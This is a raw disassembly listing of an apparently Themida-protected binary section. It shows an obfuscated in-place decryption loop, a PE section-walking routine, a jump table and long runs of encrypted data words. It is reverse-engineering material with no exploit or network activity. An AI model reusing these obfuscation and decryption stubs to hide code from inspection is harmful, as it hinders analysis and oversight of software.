		dd 0AF61685Dh, 2ABE9BF8h, 3478F440h
		db 0EEh
; ---------------------------------------------------------------------------


loc_570EA5:				; CODE XREF: Themida_:0057091Dj
		mov	eax, 60E4D7Eh
		add	eax, ebp


loc_570EAC:				; CODE XREF: Themida_:loc_570918j
		mov	ecx, eax
		jmp	loc_570F04
; ---------------------------------------------------------------------------
		pusha
		mov	esi, [esp+24h]
		add	esi, [esi+3Ch]
		mov	edi, [esp+28h]
		mov	edx, esi
		add	edx, 0F8h
		mov	cx, [esi+6]
		movzx	ecx, cx


loc_570ECE:				; CODE XREF: Themida_:00570EF9j
		cmp	ecx, 0
		jz	loc_570EED
		cmp	edi, [edx+0Ch]
		jg	loc_570EF5
		sub	edx, 28h
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+14h]
		sub	eax, ecx
		sub	edi, eax


loc_570EED:				; CODE XREF: Themida_:00570ED1j
					; Themida_:00570EFFj
		mov	[esp+1Ch], edi
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_570EF5:				; CODE XREF: Themida_:00570EDAj
		add	edx, 28h
		dec	ecx
		jnz	loc_570ECE
		jmp	loc_570EED
; ---------------------------------------------------------------------------


loc_570F04:				; CODE XREF: Themida_:00570EAEj
		mov	edx, 9FD3Eh
		call	sub_570F13
; ---------------------------------------------------------------------------
		dw 0EC62h
		db 11h,	0E4h, 1Dh

; =============== S U B	R O U T	I N E =======================================



sub_570F13	proc near		; CODE XREF: Themida_:00570F09p
		adc	cx, 2857h
		pop	eax
		mov	cx, 0FD00h
		add	eax, 5FA8h
		jmp	loc_570F3C
; ---------------------------------------------------------------------------
		imul	esi, [edi+0E49A07Fh], 0B6713B04h
		and	ecx, ebp
		inc	edx
		aam	4Eh
		sar	byte ptr [edx-2Dh], 0B5h
		dec	ecx


loc_570F3C:				; CODE XREF: sub_570F13+10j
		mov	edx, 77C9A12Ch
		sub	edx, 77C9896Ah


loc_570F47:				; CODE XREF: sub_570F13+99j
		mov	ebx, [eax]
		clc
		add	ebx, 3B6B5886h
		mov	cx, 0EF32h
		sub	ebx, 2D20404Bh
		push	esi
		jmp	loc_570F6E
; ---------------------------------------------------------------------------
		dd 3D5ED17Dh, 0EB5558F7h, 4532C604h
		db 86h,	0C9h
; ---------------------------------------------------------------------------


loc_570F6E:				; CODE XREF: sub_570F13+48j
		pop	esi
		add	ebx, 0C11E7DDh
		pusha
		push	esi
		sbb	si, 0BE93h
		pop	ebx
		mov	si, 62DBh
		popa
		mov	[eax], ebx
		pusha
		xor	eax, 9F3B902h
		and	esi, 13D91CAFh
		popa
		sub	eax, 5F4700DEh
		mov	ecx, edi
		add	eax, 5F4700DAh
		xor	edi, 6D978B1Fh
		sub	edx, 1
		jnz	loc_570F47
		jmp	loc_571090
; ---------------------------------------------------------------------------
		db 20h
		dd 2C0FBE1Dh, 0DF2F82C1h, 0FDBEB6CFh, 36365D54h, 0BCECA4h
		dd 52C55DD5h, 0A4D676D3h, 4100FC94h, 50C1AEC4h,	325277CBh
		dd 9CACACh, 0F7F691B8h,	9382CD64h, 38h,	3Ch, 40h, 94h
		dd 5, 1, 0A28h,	2, 20h dup(0)
		dd 2E9F2250h
; ---------------------------------------------------------------------------


loc_571090:				; CODE XREF: sub_570F13+9Fj
		jmp	loc_57303E
; ---------------------------------------------------------------------------
		push	60E5203h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E5304h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E53D9h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E54ABh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E5589h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E5640h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E56EFh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E57A7h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E5B07h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E5BA4h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E5CC5h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E5FF8h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E636Fh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E66DAh
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E6848h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E68C6h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E6911h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E6977h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E6A9Ah
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E6C19h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		push	60E6D08h
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		db 1Dh
		dd 0C4213209h, 0B25380B1h, 1C896A67h, 0CB243F06h, 0EE558EB1h
		dd 211C6487h, 0F1CCD532h, 44738562h, 28256E9Fh,	822AC6CBh
		dd 0C59A4DC6h, 0DE02FA49h, 0C614F8D5h, 1D5430B4h, 0E7DBC394h
		dd 86B3C449h, 0E07B015Dh, 196FF27Ah, 40ADBD9Fh,	17FF1831h
		dd 3D358D96h, 0B655B25Ch, 0DAFA8AB2h, 493D1186h, 6096E999h
		dd 69643C3Ah, 34987A93h, 0BE36402Ch, 3A609ECAh,	36CB655Dh
		dd 25h,	760D6FDEh, 5D140E4h, 645EBD9Fh,	0CB305090h, 0BFE53A60h
		dd 0C733DA2Eh, 0F81E2C35h, 92000000h, 0B251463h, 0F8D5DE15h
		dd 0FD99C614h, 1A3FA791h, 3E82BDCBh, 0C548E6DAh, 34085BBFh
		dd 0A88771D4h, 9014A6B4h, 0C394A0F4h, 6FB6077Bh, 0ED5CB452h
		dd 0D2EF3898h, 56A30AFEh, 5576F87Bh, 0D8C394A4h, 0E761F2CFh
		dd 63D7EE36h, 0FB0C012Fh, 5A227ACEh, 0A4CBBF37h, 0F35CC394h
		dd 5FB397AAh, 0BA1C198Dh, 32BCBD9Fh, 6192CEBAh,	0CF79413Ah
		dd 2C889F70h, 488ECDDh,	80744355h, 0EF74684Ch, 8456ED8Fh
		dd 6C037A60h, 0F37BF544h, 3073C197h, 1CCE2218h,	4F94ABF1h
		dd 0EC7B5A5Eh, 8C700789h, 0DA857AC8h, 0DD00001Ch, 8461F2C9h
		dd 72934071h, 0DCC92A27h, 8B64FFC6h, 2E954E71h,	0E1DC24C7h
		dd 0B18C9572h, 43345A2h, 0E8E52EDFh, 0C26A860Bh, 0C59A4F86h
		dd 0BDC2BA09h, 76FE4150h, 0C3941D12h, 0C549AD95h, 0DE320F14h
		dd 0F8C7DD30h, 9572E97Bh, 0C0ED2FC6h, 0E1BF21Ch, 0BDD02033h
		dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 5702145h, 85FDBD9Fh
		dd 0CA513131h, 1C843A60h, 8A9A0B91h, 5D8BCFB3h,	35C84AE3h
		dd 0C6672Ch, 0DE810000h, 0A514F8D5h, 4E9C605Fh,	1DDCA83Ch
		dd 0FA53C394h, 8CBA9EABh, 9419CBF8h, 0C394AC3h,	0A3CB55D7h
		dd 3C6BE127h, 59B452A8h, 0BF8D714Ch, 0E1CDB92Dh, 78423C6Bh
		dd 95AECECEh, 0FF2A2F47h, 271B4260h, 11A623Ch, 0ECD92ADBh
		dd 4D04A842h, 0C2446D5Ch, 798372F8h, 81139D46h,	733C196Dh
		dd 7A94EE30h, 0D9238993h, 2C3E12E6h, 733CCCB8h,	1B7F4330h
		dd 70C26BCCh, 0EFA0A28Ch, 1BD9h, 62F1C8DAh, 9C477285h
		dd 0CA292073h, 65FEC5DDh, 964D7088h, 0DF25382Fh, 8D9273E0h
		dd 3242A3B0h, 0DA2FD81Bh, 658774EFh, 9A4E85C1h,	0C5BB0AC5h
		dd 120DADEh, 987ADBE1h,	0CEF308F1h, 8F9500EAh, 30DD96B0h
		dd 8B09EAE7h, 9D4150BDh, 0F5C9BD88h, 8D967791h,	81DCCB0h
		dd 3E51263Dh, 7BE17A02h, 9F05D6F3h, 0C6357BDh, 0ED66B6FAh
		dd 5DE6B6F1h, 4D66678Fh, 93E780F9h, 60ADCF2Fh, 0CF43B8CCh
		dd 0D7CB0FF4h, 0FA0AFB05h, 18257AC3h, 2EB650B4h, 8AC44853h
		dd 0AF0CDE24h, 0B91AD8A2h, 0BA323847h, 0F2C403CEh, 1DCF7941h
		dd 99ED0193h, 6EF2C403h, 613FA14h, 3DDA93Dh, 0B73FF2C4h
		dd 0F2C403D3h, 0A9916E54h, 3441AEB5h, 0C593CE19h, 0F45E4F07h
		dd 1B0413h, 0C4F30700h,	0AAA7EE1Fh, 7C4D5C49h, 0C1F006E7h
		dd 90AFF512h, 0EEDF443h, 0FF28CB0Ah, 0AF589BA6h, 18F56E59h
		dd 0D821320Fh, 4EE89C10h, 907FC59Ah, 0F8D5DE28h, 384CE072h
		dd 8FC3941Dh, 75B59D4Bh, 0A6CE1C27h, 0BD9F1A83h, 198D1FA9h
		dd 3A60E36Dh, 3C4898E2h, 0B33A60E3h, 9EF2CFDAh,	0EF3A9370h
		dd 362A6ED2h, 0CF49582Dh, 0E411C890h, 0BACDD541h, 217DAB8Fh
		dd 921AC05Bh, 446B9DB7h, 63C1D7B8h, 7D512514h, 7D51B519h
		dd 469D61Ah, 3D64B0F1h,	6E996D9Bh, 400ECD1Dh, 0B135273Ch
		dd 91A7B1D0h, 4B91655Dh, 0B721F514h, 1761CD85h,	922AC438h
		dd 43EB710Ah, 9BB2490Eh, 44B1BB9Fh, 29D40633h, 0A344E2D1h
		dd 0CB043142h, 6035BD88h, 321CF357h, 7500001Ah,	0DCC92A21h
		dd 8A7BF8C9h, 7491427Fh, 23CC172Eh, 0C67DE6D9h,	19247C9Fh
		dd 0E9D42DDAh, 0BC8B9D0Ah, 3D46A7h, 0AAC22ED3h,	0C59A49DEh
		dd 0DE7AE251h, 0E072F8D5h, 941D384Ch, 457881C3h, 0D8229DF1h
		dd 0BAC2DA2Eh, 61D5E034h, 0AF7E0DF6h, 311584F6h, 0E6E70FDDh
		dd 67BD9FB0h, 33BFC013h, 22C85329h, 6AA0BF8Ah, 0EC53DD44h
		dd 4C9E502Eh, 3F4B9BBCh, 0B0307E71h, 780CA04Ah,	0CF307E71h
		dd 5FFE5D8Bh, 7A53F479h, 0AA8DE182h, 0D63A7E5Ch, 152E4EDBh
		dd 0D3DEAFC7h, 9DC2EADEh, 0CB268E76h, 1FFC2A74h, 4557573Bh
		dd 3DA22C3Eh, 60984144h, 0ED79978Ah, 0ECA9F490h, 0BDCF1D65h
		dd 0DE084150h, 342F1A6Fh, 7F28CEDBh, 9789459Eh,	0AFF1DD0Bh
		dd 0E4D8BCA9h, 33164780h, 4DC5352Ch, 19548Ah, 74435700h
		dd 0DAF73EEFh, 0AC9DEC19h, 714056B7h, 0C0FF05E2h, 5EBDA413h
		dd 0FF87B5Ah, 0FF28CBF6h, 0A8459EA9h, 8F1625Fh,	48384CE0h
		dd 0C08FC59Ah, 0F8D5DE58h, 74A0CD72h, 1EFFE714h, 7C0018F0h
		dd 20F175E7h, 8DBD9F52h, 0F322AEB5h, 0E327ABA6h, 104C5045h
		dd 0B865F78Ch, 1C76896Fh, 6E221F5Eh, 9A12DC0Ah,	446A0DAFh
		dd 65905AA0h, 940B2510h, 3F681852h, 8B90EC35h, 0FBCCD61h
		dd 0B15C4B38h, 0ACE0546Bh, 0C9BD8582h, 0AAB0CBD1h, 0AC9BED18h
		dd 1D1A393h, 0AD5B7644h, 3A5A4D9h, 1BC1394Dh, 0EA3999EAh
		dd 0CB2F63D7h, 9FAAFF28h, 0C66B2F50h, 8B4CC695h, 189Dh
		dd 0A6BD949Eh, 0D0033E49h, 0ED5E437h, 0B9BA99E1h, 0EA09344Ch
		dd 93E9046Bh, 4156B7ACh, 0FE06E77Ch, 0A6F31CC7h, 0A94348ABh
		dd 9A4B4105h, 8177C6C5h, 14F8D5DEh, 69F38814h, 0EAE72EDFh
		dd 435B2266h, 0CF02D27Ch, 40BD9F27h, 0FD94F97Ah, 0BAA0BBC1h
		dd 6BED1732h, 38221844h, 618FBACDh, 0F85DEC7Ah,	0F6DC2B5h
		dd 0C9001382h, 0B4D54D39h, 84F8C2A3h, 0ECAFDE56h, 0DA20DDBFh
		dd 0DD663676h, 0FB73FD0Fh, 9981A08Fh, 780C3A00h, 0E78AAB05h
		dd 4BBAA09Ah, 0B78E963Eh, 91F579C3h, 16979E99h,	0FD4C82Ch
		dd 0AFB8959Eh, 2C4D611Ah, 0EE66D929h, 31000017h, 9875EEE5h
		dd 46A7BC8Dh, 30DD063Bh, 9F08EBEAh, 1AB9BA85h, 0DDE038D3h
		dd 0AD90E906h, 704F59B6h, 0C4F102E3h, 0F67EF21Fh, 0C59A4B92h
		dd 0DE3EA615h, 1414F8D5h, 0C569F388h, 0BD99E0D1h, 0FFE6C56h
		dd 0F6D14FAh, 0D979AA4Fh, 0A62A2770h, 41D50E62h, 3A65EF95h
		dd 964DD6A5h, 7C842C79h, 93A2F841h, 6CF7EB2Fh, 42E235E0h
		dd 9271B32h, 0BCC9E7B5h, 37BFAD81h, 44681203h, 42CC1E64h
		dd 0E353B11Dh, 5393974Ch, 3077CC37h, 0F1C0D7B8h, 3BD5C90Dh
		dd 953144B1h, 8C574B86h, 51251463h, 3D041A8Bh, 7E93A13h
		dd 0A2935E29h, 6AE5D95Dh, 8C74DE51h, 36C5BA88h,	79000017h
		dd 20CD162Dh, 8E7FE4D5h, 78954E83h, 27C01322h, 0C271E2DDh
		dd 538409Bh, 0D5E831DEh, 0B897E10Eh, 0C394ABBh,	0AEC62AD7h
		dd 0C59A4ADAh, 6F66DEADh, 40E4760Dh, 0BD99E054h, 8875E7DBh
		dd 0C591427Fh, 37BFADB6h, 3A65AC47h, 0C66ED228h, 3A65AD87h
		dd 4D474652h, 2C31BC9Ch, 51B5h,	0C6F5300h, 1D196D81h, 94EEC394h
		dd 12E6DD25h, 9C10DA3Eh, 0C3941DE4h, 0B3B3077Bh, 0C3941DD3h
		dd 0F9139206h, 32400D50h, 2579h, 26A78700h, 18C3941Dh
		dd 806DFF84h, 4E3AB275h, 0C1C3941Dh, 0E33485F9h, 2E62D6h
		dd 0FCBBC66Eh, 360CBD9Eh, 0D6FD72Dh, 0D2A699E3h, 0DC509AFEh
		dd 0BD9F04C1h, 92582C16h, 0C898EC00h, 2B6F3A60h, 3C0710FDh
		dd 60C8DCA8h, 9E6F533Ah, 0F2D6BA97h, 5FA8459Eh,	0D52F9E62h
		dd 0F42E66EAh, 0CA0710F9h, 3934BB20h, 591C8360h, 7D47965Dh
		dd 8EB89CBAh, 47EF38D5h, 5FD70534h, 3A60B62Bh, 9E6246BCh
		dd 0F765FE9Eh, 5362B865h, 0E97DABEFh, 446BAEB8h, 0F916CD35h
		dd 52D91ACh, 0B84BF926h, 1DE1DC29h, 9B6F56ACh, 3F535286h
		dd 48D0DDD7h, 0D5734E5Dh, 0C1122F78h, 12E6D324h, 986C53ABh
		dd 41A6277Dh, 2DDA1934h, 119EDD8h, 0E87AE07Bh, 0C4B2D65Eh
		dd 0CD35B826h, 0B418297Ch, 1B2EB650h, 1C62DF2h,	9BB58094h
		dd 709D46BCh, 0F7A62A27h, 7E2F93AEh, 89B61A37h,	0CC505F7h
		dd 9CE26BB6h, 1268D1A5h, 0DEEFC123h, 5F6E44ACh,	0BDC56DB6h
		dd 0FADE3286h, 4E7B8C79h, 708570FAh, 4F9DF145h,	336EA327h
		dd 30DE24B6h, 0E10B106Ch, 386ADC4Dh, 0CA2911C8h, 1C68C8DDh
		dd 5795D21h, 70D1B1B1h,	0BCE4DC08h, 9519AB31h, 9C0870F1h
		dd 6BE20C76h, 0D730231Eh, 5B02F6C1h, 238A7E41h,	0AA13E7DAh
		dd 77139B54h, 0F89C0870h, 3FDAAE82h, 0A8166865h, 6DDA39A6h
		dd 0B1012AC2h, 6B901D97h, 0D431221Dh, 391460C0h, 73887155h
		dd 37E66A4Eh, 246CD0EFh, 0E16FF0Eh, 3BA02C37h, 1FF9AEEBh
		dd 55B856D5h, 68807443h, 7EDD0F14h, 0B04E3C56h,	256EDF76h
		dd 0C660A428h, 0D2AD8024h, 0AEA2E203h, 5B64206h, 5426C59Ah
		dd 5DDF782Bh, 72C63A1Eh, 0DBC0CDC7h, 0DE68F2CDh, 5FA3256h
		dd 0A34DB59Ah, 0E7D227C0h, 6C59AA13h, 0CAF50FFEh, 3F45341Ch
		dd 6AEBC00h, 9A05FA42h,	0F80CFDC5h, 0C4DC79CDh,	0C9CBB5C9h
		dd 0F7C2D73Ch, 5E63B865h, 0FF7896EAh, 6B21CE6Dh, 750D0E93h
		dd 15C861DBh, 25E18BD2h, 0F000000h, 6DFFD6DEh, 0F4587180h
		dd 9A927690h, 7BF37902h, 0BD9F065Eh, 0DBB1302Fh, 0C519AE0Bh
		dd 308372E1h, 2D000000h, 0E509D6DEh, 0C3941DE1h, 32381C66h
		dd 1D780CA0h, 50CFC394h, 8398E81Ch, 709EF2C6h, 67FC8098h
		dd 0B1DC71F5h, 0D13CBD9Fh, 0FC5BF5C8h, 46A75D86h, 0FB00ED2Bh
		dd 0F01E72C6h, 0A14BD0ACh, 9F05380Dh, 0D2350DBDh, 0DC8BD10Eh
		dd 8BF60129h, 1F38FFD1h, 0CF7995EAh, 0D35F4307h, 4332A929h
		dd 8CC86185h, 0FB4F768Ah, 3985A387h, 9A12D863h,	0B8DEBCEBh
		dd 72AA1E64h, 0A3CB112Ah, 42A99B2Eh, 0E4DB23D2h, 67F5CD4Ah
		dd 83506DB6h, 2B241162h, 872C90BAh, 0D676C939h,	0D9000013h
		dd 806DF6CDh, 6E9F4475h, 0D8352E23h, 8760F3C2h,	2291427Dh
		dd 0E5D8203Bh, 0B588917Eh, 183741AEh, 0ECD92ADBh, 0CE668A77h
		dd 0C59A46BAh, 0A7C6BE0Dh, 0C3941E23h, 0FECBDCC9h, 8024360Ah
		dd 3C6BE2C4h, 0C5D9774Bh, 36BEACB7h, 4260DACBh,	699446BCh
		dd 6B05231Eh, 0BFC66ABAh, 0E6DA3E82h, 642EA74h,	893A60E8h
		dd 50DC97B1h, 5430B4C6h, 0DB3A60E8h, 0E81B6FE7h, 96EC3A60h
		dd 0E8A42044h, 0D72B3A60h, 0F5C0D439h, 844F5801h, 60E86460h
		dd 0B397EB3Ah, 62F033B4h, 7F84A86h, 1339h, 0C211287Ah
		dd 7CE7D225h, 0AA498093h, 0C51E257Dh, 76EDD028h, 3F4598CFh
		dd 0ED32D300h, 92E203D0h, 3A4FB8BBh, 0C527D40Fh, 9A4625A1h
		dd 65DBAAC5h, 0E4760D6Fh, 9F259D40h, 68BD12BDh,	0B195E95Dh
		dd 1E2B7AABh, 0ECDD28C5h, 0B264B118h, 0B63C8380h, 6352A83Fh
		dd 6347BB9Fh, 0A726629Fh, 0D91A377Eh, 5F3A32B4h, 0F16E7D8h
		dd 0E7E64E32h, 0D53A6038h, 8A9D0283h, 7DDE5F64h, 9DF1CD7Ah
		dd 9101104Fh, 0AED4FEBBh, 7E5CBC68h, 7791F5C2h,	7F8570FCh
		dd 6E98FC40h, 0B3B9889Fh, 0EA043142h, 0ED760666h, 4A878E7Fh
		dd 8A6482C6h, 48778D78h, 9E6680C4h, 446D47AEh, 629359A1h
		dd 0CE3F2411h, 0E3071DC5h, 6D1ADCBAh, 0C448AC3Dh, 0D0EF3980h
		dd 8C1008FCh, 92C165F7h, 764E7F2Ch, 600440E4h, 0B78B2E4Ch
		dd 9A40BA99h, 30231E6Bh, 3F7C2D7h, 8DB8CC39h, 3A415B63h
		dd 9014A630h, 2E4C60F4h, 60EA9E16h, 57D2E4Ch, 9CB740BAh
		dd 9CDB009Dh, 7568FC2Ah, 0CA5047CAh, 1A5A77F0h,	0A999988Ah
		dd 1218D6h, 300F1B00h, 86B3C223h, 6861B05Dh, 3D041A8Bh
		dd 8CB3C926h, 62F9E057h, 0D33C271Eh, 836CF7CAh,	6C995A75h
		dd 0C4352E1Bh, 41C48024h, 0FC4BC59Ah, 1D2AA704h, 63B5C394h
		dd 0CDAF8F54h, 5B00A4B6h, 0D4BD99E0h, 3F132E7Bh, 98B1C02Dh
		dd 1CCDBD5Bh, 3531C005h, 171h, 700F6FD3h, 0A71EBD9Eh, 0C3173D0Ch
		dd 22B8928Dh, 84F8F569h, 6DAADE56h, 0C53DC394h,	5C2D412Bh
		dd 7DC3946Dh, 47BDA305h, 6F827A75h, 0A49F710Eh,	750A6FBCh
		dd 0DCE136E7h, 0D048CC32h, 40050CCDh, 422537h, 8B70000h
		dd 5D76E94Eh, 0F46A849Fh, 764B50BDh, 0FF437E87h, 4C516D9Bh
		dd 0F0DBC4E8h, 1C70EC11h, 5829BDBAh, 0D5C3941Dh, 47BD0BEDh
		dd 9025D3DEh, 1980344Dh, 0BD259BFFh, 0DA744550h, 48C830D6h
		dd 50000000h, 91E40E6Fh, 84F8DCA0h, 0C233BD22h,	384C84B1h
		dd 8FC3941Dh, 84F8D5DEh, 0C976806Ah, 48700044h,	0C591BF02h
		dd 0C3943A84h, 536EB964h, 0DC22ABEFh, 22604BE5h, 0BD47BD4Ch
		dd 81084150h, 93F75B76h, 0B0899875h, 0CD857BDEh, 3740050Ch
		dd 5125h, 0B08B700h, 0F6EFB192h, 6752A716h, 0AB91BF93h
		dd 84150BDh, 1D3E4AE2h,	49B1C394h, 0E57A1F9Fh, 0DDC877h
		dd 5A643BE7h, 29BDB6ACh, 0C3941D58h, 0F5F003B8h, 5F9630ACh
		dd 666D198Dh, 98E2C394h, 37A9916Eh, 0D7DE47BDh,	857B04FAh
		dd 38C8h, 0A6F5000h, 29BD9375h,	0C3941D58h, 0C2862EB8h
		dd 45C3941Dh, 4CD8D37Dh, 941DACD8h, 0FBDF23C3h,	9C93CA71h
		dd 0A1A32321h, 2FE8DF99h, 193754D8h, 0DE47BD23h, 7B04FAD7h
		dd 4850BD85h, 0CCD88175h, 8C739DF1h, 0FFFFFE86h, 4450BD14h
		dd 0BDDFDF09h, 63D7EA33h, 8D21CB2Fh, 0BD99E0A9h, 47B6A49Eh
		dd 0A28EDA30h, 8801811Eh, 0E4D32594h, 0E716A04Ah, 0F8DCA09Fh
		dd 9FAAFF4Eh, 5D7CEE4Dh, 637EFC30h, 277422C5h, 0CCDFCE1Ch
		dd 273509FDh, 65EFFB8Fh, 0D8764C3Ah, 0EFEA9E16h, 57D3A65h
		dd 0EFD7B1B1h, 4E563A65h, 0C6DA8377h, 5DA20BFFh, 9D280260h
		dd 719C4CE1h, 62A62A29h, 29E3E2C4h, 2C31FF00h, 6738813Eh
		dd 0EF970394h, 9C4AAE99h, 4EC5h, 27A72300h, 0C5C3941Dh
		dd 1D5733BBh, 0E2D8C394h, 81BCC944h, 1DBDCC52h,	0E05FC394h
		dd 4BD1A1FBh, 894B2EAh,	0E97DEF74h, 0BD9F6960h,	0E577E5DDh
		dd 3AB7D35Bh, 0C2383A61h, 613A4602h, 4400A43Ah,	0CB3A613Ah
		dd 143208F7h, 0C6A453h,	6FCC0000h, 186C800Dh, 0EFC3941Dh
		dd 1A5B7ABh, 0BD9F2C14h, 407F8974h, 8B51A9A6h, 0F53EEF79h
		dd 0D01074D8h, 3A60F1B4h, 2429C73Bh, 917EE5D0h,	76C44887h
		dd 0C356FFC9h, 0A17B84BBh, 7E3EE866h, 4B8A901Eh, 0BDAF83C7h
		dd 6D5E1129h, 0C6146E44h, 23149B4h, 0A1AC5ABEh,	60F27857h
		dd 7273B8CCh, 21CB0F30h, 7273F98Dh, 0DA744E30h,	0AD98EC19h
		dd 0A0BBC1D9h, 0B99A32BAh, 5B954E7Fh, 4C3BB7D3h, 0EEC2382Eh
		dd 4984917Ch, 1D287DAAh, 7FBEF1D2h, 75CA3892h, 0EE5h, 7EE5DC26h
		dd 0A84B8691h, 0C61D2C7Fh, 71E2D129h, 0A2B18C94h, 0EB31CC13h
		dd 999E0FD4h, 464EBFA4h, 0EE3BD40Fh, 71FB00D3h,	9A4289FDh
		dd 0C9AF1EC5h, 14F8D5DEh, 916550A5h, 18ECDD28h,	0E15568B1h
		dd 2559548Ch, 0C44C595Bh, 1D5632BAh, 0E1D9C394h, 80BDC647h
		dd 0C88A153h, 47B63240h, 5BBF033Eh, 90D4ADh, 0BD300000h
		dd 1DCFBB33h, 7A40C394h, 97ACF0CCh, 0D7B33B45h,	58C3941Dh
		dd 0FA1A5B9h, 6B4FD020h, 0CABB33BDh, 2EBD9F1Dh,	5E6866B1h
		dd 0BF0E4DFFh, 92F65A65h, 0BE789774h, 5E2DE63Ah, 86BDC5B4h
		dd 1A6FDEA2h, 0EF536ABAh, 43E36970h, 0E1C58CBEh, 0C197F37Bh
		dd 22183A61h, 0AFF815CEh, 485D4892h, 5BD679A6h,	197DB6F6h
		dd 6AD11BEFh, 5B6B2921h, 0A420446Fh, 2B3A61A7h,	4955F3D7h
		dd 0B0C22833h, 0ED1B3645h, 6A963C19h, 23C93144h, 7CAAA7F2h
		dd 0D7DE1DFBh, 798C79FAh, 176CC448h, 0E6C3941Dh, 0D6E3329Eh
		dd 673561F2h, 889F0EDCh, 49DD8FB9h, 0BD99E051h,	344694EEh
		dd 738CB3C9h, 0D3A5F907h, 9042259h, 0E41CC7FAh,	0C0051CCDh
		dd 1593531h, 6FD30000h,	0BD9E700Fh, 941D5829h, 0A71979C3h
		dd 764B50BDh, 5034B882h, 0D7C3941Dh, 8F618FE3h,	0BB33BD09h
		dd 0C3941DCFh, 0EACC7A40h, 0E6F23D9h, 0C8A49F71h, 0E394FBEh
		dd 941D82C6h, 133D05C3h, 0AE0A6F2Dh, 0B3818C2Bh, 4D6CA86h
		dd 483464D7h, 5C8A7F6Bh, 37A448E6h, 0E1FF6FB5h,	100620B8h
		dd 754850BDh, 4B861DBh,	29F13740h, 1F000000h, 0EB710E6Fh
		dd 1DB1D559h, 0CC36C394h, 29BD3C22h, 0C3941D58h, 102978D5h
		dd 47BD5A3Ch, 18FED3DEh, 33C8857Bh, 50000000h, 9CE40E6Fh
		dd 0D9F4DA1h, 941DED99h, 0E3E70FC3h, 64C3941Dh,	9359A11Eh
		dd 941D6F1Bh, 6C9AE0C3h, 5829BDF6h, 79C3941Dh, 47BDA719h
		dd 18FED3DEh, 0CCD857Bh, 25374005h, 4Fh, 750A6FC3h, 5829BD93h
		dd 0B8C3941Dh, 0FABBDA03h, 0FE2850E9h, 0BD473901h, 80BDC233h
		dd 0C82ED83Ch, 0E821D7DEh, 0CF58A4A4h, 5531B5A7h, 0DAC39480h
		dd 7B2A8CE0h, 0BBCF67F1h, 0CC3941Dh, 0C8221836h, 3Dh, 76129A24h
		dd 0F9C3941Dh, 6FF16781h, 0BD93750Ah, 941D5829h, 0A71979C3h
		dd 0BDC233BDh, 0BDF06680h, 860A4750h, 5EA9A442h, 7042F963h
		dd 0C1DE2CA2h, 3B4FE775h, 8CC394B6h, 7BA298B6h,	0FE9EC885h
		dd 6F50FFFFh, 40E4760Dh, 0BD99E054h, 86A709B6h,	0FDD68615h
		dd 5C8EF453h, 1E29C6FFh, 7FA9C35Ah, 0DAF700EDh,	253E5D19h
		dd 97CBBF37h, 665C3A65h, 97345292h, 0B7ED3A65h,	972BC236h
		dd 17062C31h, 9A000000h, 582C136Bh, 0A754CA64h,	0C3941D27h
		dd 0F3605DA6h, 0C204h, 0D6FAC00h, 2FD6B2ADh, 944EC387h
		dd 0C17E44C3h, 0D4C8C4B9h, 9EABEE06h, 261CBD9Eh, 5BBFC934h
		dd 1488361Ch, 0DC077B8Bh, 66EAE533h, 7FED7606h,	0C0B4898Eh
		dd 0D8E73D8Ch, 1428BC2Eh, 6B446C9Fh, 0CCD8C517h, 738562F1h
		dd 0F56AF044h, 9D764336h, 9445105h, 0C36D4185h,	509AA1FBh
		dd 7EBC64DCh, 5587FB4Eh, 1B64DE6h, 1175D9F4h, 0F12962E6h
		dd 1F689557h, 8B73122h,	0EBCA00C2h, 68BB02F6h, 7FA9ED51h
		dd 0BF48858Eh, 927ED24Eh, 6E32957Dh, 0B100000Bh, 18F56E65h
		dd 0C6273C0Dh, 0B05D86BBh, 1F886B6Ah, 9A393A05h, 5D60B853h
		dd 2D106986h, 0F0CFD936h, 44718263h, 76FE729Fh,	0C59A7E12h
		dd 0BDBE2695h, 1DCFBB33h, 434EC394h, 8E49B10Eh,	0CFA17D0Bh
		dd 15F81646h, 95273500h, 94FA7511h, 6680FAC3h, 0D3EE3BE2h
		dd 1377FF09h, 94C394FAh, 2E8880AEh, 0E730D9D4h,	8BDB00EAh
		dd 0CF1D59EAh, 0C731B25Ch, 32406426h, 6003h, 50BDED00h
		dd 41850944h, 0FE8517A7h, 1C9DF86Ch, 2812BD9Fh,	116796A4h
		dd 776B66B3h, 0ACA14F83h, 5FFC6E5Bh, 305ED486h,	0D691BF2Dh
		dd 6DD1EC39h, 6D46F0Dh,	0C11470F4h, 83953A60h, 0ED01CBB4h
		dd 3A60C199h, 1630146Eh, 34B8CA54h, 3A60C150h, 9FDC0D9h
		dd 0D6704A35h, 6A2B4B0Eh, 5D86FC44h, 6FD7DEA7h,	5D60B81Ch
		dd 616A9579h, 3C022BAAh, 0CB117569h, 85135B9h, 0ECD6C394h
		dd 403DA142h, 0DBC39408h, 3561F2CDh, 0E60EDC67h, 0BD99F595h
		dd 6CFE6C56h, 726A3ACFh, 5BF5748Eh, 49AAA7F2h, 51CCD4Bh
		dd 213531C0h, 0D3000001h, 9E700F6Fh, 1D5829BDh,	1979C394h
